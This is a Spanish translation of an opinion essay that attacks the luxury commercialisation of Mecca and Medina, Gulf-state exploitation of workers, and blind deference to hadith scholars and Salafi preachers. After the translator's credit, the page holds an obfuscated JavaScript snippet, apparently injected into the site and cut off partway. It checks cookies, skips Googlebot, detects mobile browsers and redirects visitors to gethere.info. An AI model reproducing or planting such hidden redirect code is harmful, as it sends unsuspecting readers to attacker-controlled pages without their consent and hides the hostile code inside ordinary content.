Miércoles , Agosto 16 2017

El espejismo de los «estados islámicos»

Todos los sueños se vuelven, con el tiempo, pesadillas. Esto me recuerda al comienzo de la película Blue Velvet: cielos azules, césped verde, valla blanca de madera… vamos, el «sueño americano» hecho realidad.

Pero a medida que la cámara se va alejando del césped, la realidad escondida tras este sueño es cualquier cosa excepto agradable. Recordándonos, una vez más, que tras estas dulzuras rockwellianas se esconde algo horrible. En ocasiones, a medida que vamos a las raíces de las ideas o de los sueños, tales raíces conforman un cimiento podrido. Todos los sueños se vuelven con el tiempo pesadillas.

Si el «sueño americano» se ha ido a freír vientos a causa de sus cimientos e ideas subyacentes, al mismo espacio desolado ha ido a parar también el sueño de un «estado islámico». El estado islámico que se corresponde a nuestro estado interior y al de los, así llamados, «países musulmanes».

La punta de lanza de todo esto está -no podía ser de otra manera- en los países árabes del Golfo. Un espejismo tan real que desafía al intelecto y a la vista. Cemento y metal cubren la línea del horizonte. Enormes centros comerciales, fuentes de agua y arboledas que nunca hubiesen podido crecer en esta tierra yerma. Es la nada pariendo «progreso». Y son edificaciones impías, pues están erigidas sobre el abismo de la hipocresía y la esclavitud (sí, sí: esclavitud). Todas estas cosas tan brillantes volverán a su tiempo al polvo del cual surgieron, barridas por el viento del desierto como si hubiesen sido solo una alucinación terrorífica.

No hay nada que llegue más pronto al corazón de los musulmanes que la imagen idílica de Meca y Medina. Los dos lugares más sagrados para los musulmanes. Santuarios de protección para creyentes de todo el planeta. Representan un sentido totalmente opuesto al materialismo, una renuncia abierta de los deseos mundanos y donde no se repara en las tendencias, en el color de la piel o en el estatus social de cada cual. Sin embargo, actualmente, Meca y Medina simbolizan exactamente lo contrario.

Hice la umrah con mucho entusiasmo hace solo dos años. Motivado únicamente por acercarme más a las raíces de mi fe. No tenía el fervor abrasador de otros hermanos que se gastaban el dineral obsceno que cuesta pasar unos días de fiesta en Las Vegas. No, no me estoy riendo. A los dos santuarios de Meca y Medina les llamo abiertamente «las Vegas del Islam», solo que sin el juego. No hago esta contraposición tan impía para causar controversia, en absoluto. Son Las Vegas islámicas en tanto que, mientras que el hedonista decadente de Occidente tiene Las Vegas norteamericanas, el musulmán recurre a Las Vegas islámicas en busca de un «subidón» espiritual. En ambos lugares, el simbolismo que los convierte en destinos atractivos es, básicamente, el mismo. Esta polaridad solo se da como consecuencia de la división «Oriente contra Occidente».

Según me sumergía en la búsqueda de mi iluminación espiritual particular, todavía empapado de las historias de peregrinos previos que habían vuelto transformados por completo y que transmitían sentimientos de plenitud y placidez, comencé los pasos físicos hacia mi destino. Vuelvo ahora la vista atrás a ese tiempo, contemplándome como desde fuera. Porque me dí cuenta de que no alcancé con ese viaje más espiritualidad que aquella que conseguía en mi alfombra, rezando en casa. No me hizo falta ver Meca o Medina para experimentar lo divino. Siempre llevé a Dios conmigo, en mi corazón. De hecho, tuve mucha más paz rezando en mi alfombra de la que nunca llegué a experimentar allí.

Primero vi un desierto inmenso y luego un lleno de columnas en una orgía de culto materialista. Culto plasmado de forma perfecta en una torre de reloj, al estilo londinense, que empequeñecía la mismísima Casa de Dios. Pero la cumbre del mal es la hipocresía del régimen que allí gobierna. Alrededor de la Caaba (llamada simbólicamente la Casa de Dios) hay toda una serie de megacentros comerciales. Hay poco trecho de la Caaba a Calvin Klein, del Ihram (las ropas blancas que simbolizan pureza, igualdad y, al fin, la nada que somos) a Issaye Miyake. Estas contraposiciones son las antípodas exactas del verdadero espíritu del islam y su estado.

Al patear las calles de Meca, tuve que ignorar las malas maneras de los residentes locales para tratar de absorber el sabor del lugar. Mármol bajo mis pies, inmensas grúas sobre mi cabeza e innumerables restaurantes de comida rápida y patatas fritas para llevar infectando todo el área circundante. Ben and Jerry en los centros comerciales. MacDonalds y KFC. Mi hotel era el lujo suntuoso mismo. ¿Qué era esto, unas vacaciones o un viaje al fondo de mi alma? ¿Qué hice yo? ¡Pues comí buenos platos de comida con la excusa de que allí todo era halal! Traté de aproximarme a los lugareños y me arrepentí inmediatamente. Así que me lancé a ver mi herencia espiritual, las casas y tumbas de los predecesores en nuestra fe. Pero no hay nada que ver ya, pues el régimen puritánico que allí gobierna teme que la plebe se contagie de politeísmo con esas supercherías*. Me sentí derrotado, triste y lleno de rabia. Se me negaba ver piedras de mis antecesores, pero se me rodeaba de piedras, ladrillos y mármol modernos.

Se podría decir, con cierta razón, que el progreso es bueno. Hacer las cosas mejores para los nuevos peregrinos es algo bueno. ¡Y claro que lo es! Pero hay que trazar una línea tajante para que el materialismo no se vuelva incompatible con la sacralidad de la Casa de Dios. Lo que había aquí era, más bien, la Casa de Saud y la Casa de Todos los Excesos. Por alguna razón, la gente del Golfo ha confundido progreso con opulencia fútil. Podemos aprender mucho sobre el mundo y ganar claridad e iluminación interior con ello y, si no lo hacemos, la misma arena que sirvió de cimiento a todos estos edificios se convertirá en símbolo de trivialidad y sinsentido, nada más. Un recuerdo de algo que ya no es.

Se podría argüir también que es una opción, nada más. Uno puede elegir ignorar toda esa opulencia, todo ese exceso circundante. Persistir de algún modo en la búsqueda espiritual, recluirme en la habitación de mi hotel y no poner un pie en el área comercial. Pero, por desgracia, eso es totalmente imposible. Es inevitable caer con el diseño actual. La imagen más vívida de esta imposibilidad es el Big Ben que ensombrece la Caaba y domina todo el área. Te rodea por todas partes. Los mismos peregrinos demandan hoteles de lujo y comidas delirantes. Y todo esto se lleva al delirio en los estados circundantes de Dubai, Qatar, Abu Dabi y el resto de la tropa. La «Costa del Sol islámica».

Y este es el quid de la cuestión. No nos integramos en las sociedades occidentales que nos han visto nacer por miedo a que el cuffar (el «infiel») nos contamine de materialismo e inmoralidad. Y, a cambio, nos dejamos unos cientos o miles de euros en una fiesta halal en Dubai. Es la definición casi perfecta de espejismo. Un espejismo erigido sobre esclavitud, petróleo e hipocresía.

Conozco gente que se ha mudado a esos lares para que sus hijos crezcan con una «perspectiva islámica» de las cosas y aislados de la corrupción cultural circundante. Pero las madres vienen corriendo a parir a Europa para que los nenes tengan seguridad social decente y un pasaporte que sirva para algo. Se mire como se mire, eso es comportarse de forma traidora con Occidente. Del mismo modo que el «sueño americano» falló, el sueño de los «estados islámicos» va a caer con estrépito. Es inevitable. Sus cimientos son ruinas y puro vacío.

En estos estados que emplean a los no árabes como mano de obra barata, donde es fácil explotarles en jornadas interminables, sin protección de ningún tipo, ni contratos, con los pasaportes convenientemente denegados. ¿A quién se le ocurriría poner un pie, con la conciencia tranquila, sobre tanta explotación, sudor y lágrimas? Y, ya de paso ¿qué le estás enseñando exactamente a tus hijos? Pues obviamente, que eso que ven alrededor es la mejor versión del islam existente… siempre que uno tenga el pasaporte adecuado y dinero de sobra. No sé qué sentido tiene ser un robot que reza de forma automática y enseña a rezar de la misma forma mecánica a sus hijos, pero que no enseña nada relativo al adl: la justicia. Sin justicia, vuestros tasbihs y vuestros salats son menos que nada.

Podemos ver la caricatura macabra de los frutos de esto en las oleadas de jóvenes que se marchan a Siria e Iraq «a pelear por el islam y la justicia». Sin duda es la parte más deprimente del asunto. El salafismo-wahhabismo más podrido ha ganado esta batalla, ha creado su versión sesgada, ha secuestrado casi por completo el islam y lo ha impuesto en estas tierras donde los musulmanes asiáticos mandan a sus hijos para que tengan una experiencia más recta del mundo.

Parte de la culpa viene de la falta de integración de nuestros padres con los habitantes nativos de los países occidentales. No entro en las causas que llevaron a ese hermetismo y separatismo. Pasaron malos ratos con sus tonos más oscuros de piel y sus diferencias culturales. Trabajaron muy duro por nosotros y solo por nosotros. Pero, a la vista está, fracasaron con algunos de nosotros. No digo que viniesen de otra cultura, no. Literalmente hicieron un viaje en el tiempo. De una sociedad medieval, con normas sociales verdaderamente extrañas y complicadas, siglos de costumbres sedimentadas unas sobre otras, a otro lugar futurista. E, incluso concediendo eso, no lograron encontrarnos -a sus hijos- una identidad satisfactoria. Paradójicamente, nos enseñaban a odiar el materialismo circundante, mientras le rendían pleitesía mediante la interpretación sectaria del islam que adoptaron. Comparándonos con los demás siempre en términos materiales, haciéndonos estudiar carreras no por el bien del conocimiento, sino para que pudiésemos ganar más dinero que los otros.

Obviamente, al crecer, rechazamos su versión étnica del islam porque nos pareció racista, supersticiosa y ritualista. Un islam acorazado y con garras del cual no nos podíamos librar. Y al sustituir la visión arquetípica de nuestros padres de lo que era un «buen musulmán», les dejamos sin recursos para discutir con nosotros, con los nuevos islames que íbamos adoptando por nuestra cuenta. Ya nos habíamos subido al carro de la pandemia del «Nuevo Islam» que acabó destruyendo familias enteras. Muchos, o bien dejaron el islam por la puerta grande, o bien se hicieron coránicos. Pero estos dos grupos no trajeron tanta desgracia a la religión como ese mal latente en el llamado «islam militante» o «político».

Así pues nos lanzamos ávidos a escuchar predicadores radicales, con barbas teñidas y desaliñadas que prometían darnos una nueva identidad neoislámica. Se hablaba siempre de aquellos días gloriosos del pasado… de la pureza del islam. Ya entonces esos predicadores habían ganado la batalla.

¡Cuánto nos equivocamos, Dios mío! Ahora esta versión ilegítima del islam nos corrompe por dentro. Y es injusto atribuir todo el mal al wahhabismo. Porque lo cierto es que ya habíamos entregado tanto nuestras mentes como nuestros corazones a nuestros líderes religiosos, de forma totalmente sumisa. Sus edictos se volvieron leyes, incluso si atentaban contra el más elemental sentido común. Y esto va por todas y cada una de las sectas que pululan hoy por el islam y psicológicamente nos destruyen por dentro cada día.

En los siglos primeros del islam y la filosofía islámica, tanto la inteligencia como la racionalidad eran omitidas por hordas de herejes. Omitidas por los pares intelectuales de Ibn Taymiyya, del Albani, de ben Abdulwahhab, por ejemplo, pero también por una fila infame de otras personalidades de todos los colores. Sus palabras se convirtieron en evangelio. Sus dictámenes grabados en piedra para la posteridad y válidos hasta el día del Juicio Final. Sus escritos repetidos hasta la náusea, sin que nadie se parase a pensar en las consecuencias de lo que REALMENTE estaban diciendo. Se apagó la llama del pensamiento, porque todo lo que salía por la boca de estos «lumbreras» era ahora incuestionable. Y, a partir de ahí, de ese momento preciso, comenzó la tiranía del hadiz sobre la vida de los creyentes.

Cuando el mismo Corán invita a ser leído de forma escéptica, con mente abierta, a que se medite y se ponga en duda cada norma que propone. Dejar que los supuestos especialistas hagan esto por todos es condenarse al infantilismo perpetuo. La responsabilidad es tuya, solo tuya, el último aliento va a ser solo tuyo también. Vive tu religión como si fuese a acabar mañana. Que sea un modo de vida radiante, no un reducto sectario, que sea una aproximación universal a la espiritualidad y la moral.

El caso es que realmente el Corán contiene muy pocas regulaciones y casi todo lo que creemos nos viene de la literatura del hadiz y las fatuas a medida que se han ido acumulando con el tiempo. Eruditos tratando de validar, por mecanismos nada serios, narraciones que atentan contra la ciencia conocida, la racionalidad y, finalmente, la humanidad misma. Hay dictámenes muy problemáticos relativos a la apostasía, la música, la ablación genital femenina, la lapidación y la igualdad de las mujeres. Nos fascina, como a los adolescentes, lo que sucede en la intimidad del dormitorio y nos olvidamos de disfrutar del mundo alrededor. Y esperamos que, al morir, nos encontremos con nuestro Profeta (aleyhi salat wa salam) y le digamos a la cara «¡Tú dijiste esto y aquello!». Pues no, honestamente no podréis hacerlo. No tenéis la más mínima certeza de que realmente dijese nada de eso, que es la razón misma que tengamos que arrancar para nosotros el islam de la mano de hierro de sus «sabios».

Nos han tomado el pelo, amigos, nos han liado con todas las complejidades y erudiciones de tantos «sabios» que pululan. Ellos son la principal causa que tengamos energúmenos ridículos del Daesh lapidando, arrojando gente desde azoteas o quemando vivos a hombres y mujeres. Ciertamente, esto es la religión de la paz. Pero aún tenemos que escuchar a nuestros «líderes» diciendo «esta gente son desviados mercenarios» o «el islam, como tal, se opone a toda forma de terror». Son mantras que no paran de repetirse y son totalmente falsos.

La pluralidad de opiniones siempre es sana, pero cuando dicha pluralidad puede hacer que el Profeta del Dios Todopoderoso parezca tierno y misericordioso como nadie y, al mismo tiempo, aparezca lujurioso, sediento de sangre, agresivo, asaltante de indefensos, pues muy bien, está claro que tenemos un problema, y muy grave, por cierto.

Hacemos una pésima labor tratando de explicar todas estas cosas. Seguimos insistiendo en que un hadiz es sahih (auténtico) aunque ordene la carnicería más sangrienta y desalmada que quepa imaginar. Eso se nos ha enseñado. No ha existido filtro alguno, la metodología subyacente es tan imposible de criticar como carente de consistencia. Todo lo que hacemos es tratar de encontrarle algo de pies o cabeza al dicho que la tierra esté apoyada sobre el lomo de una ballena (como afirma uno de los hadices). Nos escondemos a la sombra de nuestros edificios (falsos dioses) y nuestros tasbihs de pega, pero eso no nos va a sacar de la abrumadora ignorancia en la cual buceamos. Nos hemos estancado. Todo el trabajo interpretativo se lo dejamos a eruditos y especialistas. Nos podemos relajar, pues ya se sabe, «los sabios son los herederos de los Profetas», como dice el proverbio. Excepto que no significa eso. Más bien debe entenderse como que el conocimiento es la herencia de los Profetas (si los sabios fuesen sus herederos estaríamos insultando al Profeta nada menos). Si ponemos eso en paralelo con la insistencia coránica en la educación, el conocimiento y la investigación, solo puede significar que aquellos que buscan el conocimiento, incluido el conocimiento mundano que ayuda al bien de la especie humana, se hacen herederos del Profeta.

Pero no. Nos despellejamos acerca de sutilezas sobre el correcto modo de hacer cada parte de la oración, de cómo recitar, o de hacer el wudu (la ablución) como Dios manda. Mientras, el verdadero buscador de conocimiento anda fisionando átomos o construyendo alta tecnología por el mundo, en busca de los secretos del universo. ¿Quién es el verdadero heredero de los Profetas?, me pregunto. Pero no pasa nada, compensamos todo esto construyendo espejismos en nuestras mentes y en nuestras tierras que sirvan para disimular nuestros errores.

Creemos aún en la utopía de un islam que, haciendo que todo siga igual, pueda coexistir con el mundo alrededor. Cuando los cimientos de esta utopía colosal se desmienten y contradicen unos a otros sin remisión. Un horror que ha tomado forma en la barbarie pseudomedieval que asola tierras saudíes, Siria, Iraq…

En nuestras tierras bloqueamos el acceso a redes sociales o contenidos incómodos que llueven desde Occidente, mientras le rendimos pleitesía al estilo de vida de Occidente sin remordimiento alguno y abrazamos encantados el materialismo que viene con él. Y no nos sonroja que, al mismo tiempo, en estas mismas tierras, nadie pueda hablar con libertad y, a veces, ni siquiera conducir un coche. Los viejos cheijs beduinos se van de farra a Londres y ya está. Con un tasbih en la mano y muchos dólares para financiar la pesadilla neoislámica wahhabi-salafi y sus instituciones, mientras agarran el vaso de güisqui con la otra mano y acaparan todas las armas de destrucción que Occidente acepta venderles.

Y, ojo, esto no es una llamada a la austeridad o a un mundo sin dinero. Ni tampoco llamo al boicot de Meca y Medina. Aunque, personalmente, prefiero gastarme los euros yendo con una mochila a ver mundo que poner un pie allí otra vez. La crítica apunta a la disonancia que hay entre nuestra ignorancia endémica en contradicción con la vida tecnológica que elegimos vivir. No creo en utopías islámicas. Nunca habrá una. Pero tampoco la hubo nunca antes.

Quienes piden volver a la «época dorada» del islam, ¿a qué se refieren? ¿Olvidan que tras la muerte del Profeta no pararon de sucederse intrigas, juegos de tronos y luchas sangrientas? Quizá Siffin y la Batalla del Camello deberían hacernos reflexionar. ¿O tal vez quieren decir los tiempos del imam Abu Hanifa, o del imam Al Gazali (Algacel), o tal vez el califato de Bagdad o Al Andalus? Se olvidan de que todas fueron épocas en la que la religión prácticamente era irrelevante, no dominaba para nada la vida pública ni privada. Era una forma cultural de vida para los que vivieron esos tiempos. Me atrevo a pensar que a muchos neomusulmanes les daría un ictus si leyesen las opiniones de muchos intelectuales de aquellos tiempos.

La victoria aplastante de Occidente, entre otras cosas, vino en la desmitificación de las edades o sociedades puras, tan reales como los cuentos de hadas. Se conformaron con un mundo imperfecto, regulándolo para producir bienes y acelerar el desarrollo intelectual. Mientras, hoy existen muchos musulmanes que aún dicen querer volver a la época de dormir al raso y con ropas que consideraríamos harapos, pero lo hacen bajo el aire acondicionado y explotando seres humanos a placer, repletos de tecnología alrededor y en sistemas económicos que nada tienen que ver con aquellos tiempos.

No critico a todo erudito musulmán, más bien respeto sus esfuerzos. No hubiésemos llegado al pluralismo ni a ver distintas perspectivas sin ellos. Pero su trabajo no es una verdad revelada, sino más bien un trampolín para saltar más alto. Sin embargo no ha sido así. El agua no ha fluido y ahora tenemos un pantano hediondo. Hacemos malabarismos intelectuales para justificar ideas que no nos atrevemos a decir pues atentan contra la lógica o el sentido común más elementales. ¡Al contrario! Tenemos un ejército de mulás barbudos de todas las sectas imaginables que aparentan razonar sin razonar en absoluto. El sentido común y la razón no tienen cabida en el reino de los textos sagrados. Queremos creer sinceramente que nuestro conocimiento religioso ha ido a más gracias a ellos, son autoridades después de todo. Pero ¡un momento! En primer lugar ¿Quién los nombró autoridades? ¿Quizás los gobiernos corruptos herederos de las dinastías omeyas y abasíes, quizás el sistema que establecieron las cortes de los sultanes otomanos? Párate a pensar esto cuando tengas tiempo.

Esto, en realidad, tiene una solución muy sencilla. Haced al fin uso libre de vuestra inteligencia, de vuestra razón, de todo vuestro cerebro. Buscad la armonía y, si algo parece carecer de sentido, o directamente contradice al Corán, tiradlo a la basura. Sí, creedme, es totalmente apropiado tirar a la basura textos que hacen parecer a Dios un monstruo sangriento y al Profeta un psicópata lujurioso.
Queda esperanza aún. Hay una nueva generación de pensadores que están haciendo un trabajo fantástico para rescatar la fe del reino de las tinieblas, de las manos de quienes la usan para esclavizarnos a todos. Ni los voy a mencionar ni voy a poner hadices aquí, y no lo hago por una buena razón: predicar otra «interpretación verdadera» va contra todo lo que acabo de decir hace un momento. Así que mi idea es: ¡Leed! ¡Leed ficción! Especialmente literatura zeitgeist. Historia crítica, no los resabidos manuales. Hacedlo para desarrollar pensamiento crítico, libre de influencias manipuladoras, tenéis que superar la tendencia a confirmar lo que ya creéis (e ignorar lo que os contradice).

Obviamente, los que defienden «lo que hay», lo que ahora existe, responderán repitiendo que «los cimientos son sólidos». «Tenemos iytihad» (esfuerzo intelectual independiente) «e iyma» (consenso), dicen. Pero no, no tenemos ni lo uno ni lo otro. No hemos tenido iytihad desde hace muchos siglos, porque los prerrequisitos (que ellos mismos han inventado) para poder hacerlo son imposibles de cumplir por nadie. Por ejemplo, debe ser «un reformador de la época», y los requerimientos para eso son aún más ridículos e imposibles que cumplir la iytihad misma. Todos esos requisitos han salido de no se sabe dónde y hacen necesario que uno sea un superhéroe para poder tener razonamiento independiente. Y, por otro lado, el consenso es irrelevante. Por definición, con una sola discrepancia se rompe el consenso (y no ha habido consenso jamás), pero si se acepta que es «el consenso de la mayoría», incluso así se trataría de la mayoría para una época y un tiempo determinados. Hay que dejar lugar a que el Corán hable a cada época y lugar.

Tiempo y lugar. Nuestro espejismo es algo sostenido entre estructuras medievales irrelevantes y edificios de cristal hipermodernos, llenos de fuentes y aire acondicionado (para esconder que todo está construido sobre arena). ¿Quién quiere el cielo cuando nos lo podemos montar aquí y ahora en la tierra? ¿Quién quiere infierno cuando campa por la tierra también? Escondemos nuestro «estado islámico» detrás de los mismos espejismos con los que escondemos el desierto y su aridez.

Este sueño ya es una pesadilla. A todo lo largo del mundo islámico, ríos de sangre, ignorancia salvaje y violencia abrasadora se han vuelto sinónimos de islam. Y, aunque coincido en que el desorden político tiene buena parte de culpa en todo esto, no es menos cierto que todo está ratificado por esta pandemia del neoislam que nos ha tocado sufrir. Solo esto bastaría para demostrar que no ha existido ningún despertar islámico. Seguimos consumiendo el veneno de la mano de nuestros maestros.

Pero ¿qué sé yo? Voy a cerrar los ojos, echarme a dormir y esperar a que, cuando despierte, la pesadilla haya acabado. Mientras, dejaré que los eruditos y sabios se ocupen de todo. Ellos saben mucho mejor cómo llevar estas cosas…

Notas:
*Desde que conquistó el Reino de Heyaz en 1923, apoderándose con ello de Meca y Medina, el Reino Saudita ha venido destruyendo todas las tumbas señaladas y cualquier vestigio de las casas asociadas a los precursores del islam. Los sauditas no han dejado, literalmente, piedra sobre piedra.

Benny Lava.
Traducción de Abel Losadavar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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